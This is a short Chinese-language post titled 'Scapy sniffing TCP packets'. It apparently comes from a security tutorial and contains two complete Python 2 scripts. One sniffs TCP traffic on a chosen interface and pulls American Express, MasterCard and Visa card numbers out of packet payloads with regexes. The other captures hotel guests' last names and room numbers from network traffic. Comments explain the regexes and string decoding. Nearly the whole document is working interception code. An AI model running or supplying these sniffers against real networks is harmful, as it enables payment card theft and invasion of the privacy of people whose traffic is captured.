Scapy嗅探TCP数据包

#!/usr/bin/python
#coding=utf-8
import re
import optparse
from scapy.all import *

def findCreditCard(pkt):
	raw = pkt.sprintf('%Raw.load%')
	# American Express信用卡由34或37开头的15位数字组成
	americaRE = re.findall('3[47][0-9]{13}', raw)
	# MasterCard信用卡的开头为51~55，共16位数字
	masterRE = re.findall('5[1-5][0-9]{14}', raw)
	# Visa信用卡开头数字为4，长度为13或16位
	visaRE = re.findall('4[0-9]{12}(?:[0-9]{3})?', raw)

	if americaRE:
		print '[+] Found American Express Card: ' + americaRE[0]
	if masterRE:
		print '[+] Found MasterCard Card: ' + masterRE[0]
	if visaRE:
		print '[+] Found Visa Card: ' + visaRE[0]

def main():
	parser = optparse.OptionParser('[*]Usage: python creditSniff.py -i <interface>')
	parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
	(options, args) = parser.parse_args()

	if options.interface == None:
		print parser.usage
		exit(0)
	else:
		conf.iface = options.interface

	try:
		print '[*] Starting Credit Card Sniffer.'
		sniff(filter='tcp', prn=findCreditCard, store=0)
	except KeyboardInterrupt:
		exit(0)

if __name__ == '__main__':
	main()

#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import *

def findGuest(pkt):
    #sprintf("%Raw.load%")函数实现提取tcp数据段，并将其转化为字符串
    '''
     tcp数据段，并将其转化为字符串，但是转化后的结果类似于raw_string，字符串中的‘\x’失效了，被当做了2个字符。请问该怎么转化，使得转义字符‘\x’生效，使得类似‘\x11’、'\x04'等等的字符被看做一个字符而不是4个？
     解答:用个函数实现rawstring转string，即可。
     raw = raw.replace('\'','')
     string = raw.decode('string_escape')
    '''
    raw = pkt.sprintf('%Raw.load%')
    #语法：findall(pattern, string, flags=0) 正则表达式 re findall 方法能够以列表的形式返回能匹配的子串
    # . 匹配任意一个字符，换行符除外
    # * 匹配前一个正则表达式的0次或多次重复
    # ? 匹配前一个正则表达式的0次或1次重复
    name = re.findall('(?i)LAST_NAME=(.*)&', raw)
    room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
    if name:
        print '[+] Found Hotel Guest ' + str(name[0]) + ', Room #' + str(room[0])

def main():
    parser = optparse.OptionParser('[*]Usage: python hotelSniff.py -i <interface>')
    parser.add_option('-i', dest='interface', type='string', help='specify interface to listen on')
    (options, args) = parser.parse_args()

    if options.interface == None:
        print parser.usage
        exit(0)
    else:
        conf.iface = options.interface

    try:
        print '[*] Starting Hotel Guest Sniffer.'
        sniff(filter='tcp', prn=findGuest, store=0)
    except KeyboardInterrupt:
        exit(0)

if __name__ == '__main__':
    main()